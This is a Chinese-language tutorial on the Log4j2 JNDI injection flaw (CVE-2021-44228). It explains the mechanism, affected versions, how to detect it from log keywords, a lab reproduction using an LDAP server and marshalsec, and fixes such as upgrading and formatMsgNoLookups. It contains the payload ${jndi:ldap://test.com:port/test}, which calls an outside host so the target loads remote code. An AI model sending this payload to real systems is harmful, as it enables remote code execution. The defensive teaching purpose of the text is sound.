Log4j2漏洞简介
Log4j介绍
Log for Java,Apache的开源日志记录组件,不同的package打印格式不同
- 记录日志的作用
可以对程序的运行进行调试跟踪
对业务操作进行记录,方便追溯 - 基本操作
pom引入依赖
获得logger实例
logger.info() debug() error() warn() …
LDAP
Lightweight Directory Access Protocol,轻量级目录访问协议(目录服务),树形目录数据库
- 目录数据库
目录数据库和关系数据库不同,它有优异的读性能,适合查询,但写性能差且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。 - 目录服务用途
统一登录(OA系统、邮箱服务器、Git服务器、VPN)
JNDI
Java Naming and Directory Interface,Java命名和目录接口(命名服务接口),一个接口访问不同的命名和目录服务
- JNDI可访问的服务
LDAP目录服务、RMI远程方法调用、DNS、XNam、Novell目录服务、CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、DSML v1&v2、NIS
命名服务(Naming Service)
根据名字找到位置、服务、信息、资源、对象等Key-Value
- 基本操作
公布资源(名字和资源的映射):bind()
用名字查找资源:lookup()
JNDI注入
JNDI动态协议转换
即使初始化的Context指定了一个协议,也会根据URI传入的参数来转换协议
比如:Context初始化是RMI服务,但是lookup 的参数是LDAP服务,这个时候协议会动态转 换。
命名引用Naming Reference
- 不在命名/目录服务本地的一个资源,叫做命名引用,对应Reference类
- 让JNDI请求不存在的资源
- 当JNDI客户端在本地classpath找不到这个类中,就会去指定的远程地址请求下载这个类到本地执行
Log4j2漏洞原理
Log4j2支持JNDI lookup功能从而方便的引用外部资源,从而能够进行JNDI注入
执行完下载的恶意代码后,Log4j2调用了javax/naming/spi/NamingManager.java创建实例导致恶意代码自动执行
Log4j2漏洞影响
Log4j2漏洞基于供应链已蔓延影响至虚拟化等网络基础设施,受到影响的项目非常多
- CVE-2021-44228影响版本
使用了Log4j2的组件,并且版本在2.x <= 2.14.1,JDK版本小于8u191、7u201、6u211
Log4j2漏洞排查方法
手动排查
- pom版本检查
- 通过检查日志中是否存在"jndi:ldap://"、“jndi:rmi”、"dnslog.cn"等字符来发现可能的攻击行为
- 检查日志中是否存在相关堆栈报错,堆栈里是否有JndiLookup、ldapURLContext、getObjectFactoryFromReference等与jndi调用相关的堆栈信息
排查工具
- https://static.threatbook.cn/tools/log4j-local-check.sh
- https://sca.seczone.cn/allScanner.zip
Log4j2漏洞复现
- 启动LDAP目录服务监听LDAP端口(或使用marshalsec工具包),启动远程HTTP服务器,LDAP服务指向恶意HTTP网址
- 假设用户可控写入的日志,传入 ${jndi:ldap://test.com:port/test},就会向JNDI接口请求LDAP服务器不存在的资源
- 通过LDAP向恶意HTTP服务器下载恶意类代码,加载Exploit静态代码打开计算器
Log4j2 RCE漏洞修复
- 禁止用户请求参数出现攻击关键字–安全产品(WAF、RASP等)
- 禁止lookup下载远程文件(命名引用)
- 禁止Log4j的应用连接外网
- 禁止Log4j使用lookup
- 从Log4j jar包中删除lookup(2.10以下)
- Log4j框架升级到2.17.1版本
1)默认不再支持二次跳转(命名引用)的方式获取对象
2)只有在log4j2.allowedLdapClasses列表中指定的class才能获取
3)只有远程地址是本地地址或者在log4j2.allowedLdapHosts列表指定的地址才能获取 - 其他方案
升级JDK
修改log4j配置:(1)设置参数log4j2.formatMsgNoLookups=True (2)修改JVM参数Dlog4j2.formatMsgNoLookups=true (3)系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_ LOOKUPS设置为true (4)禁止log4j2 所在服务器外连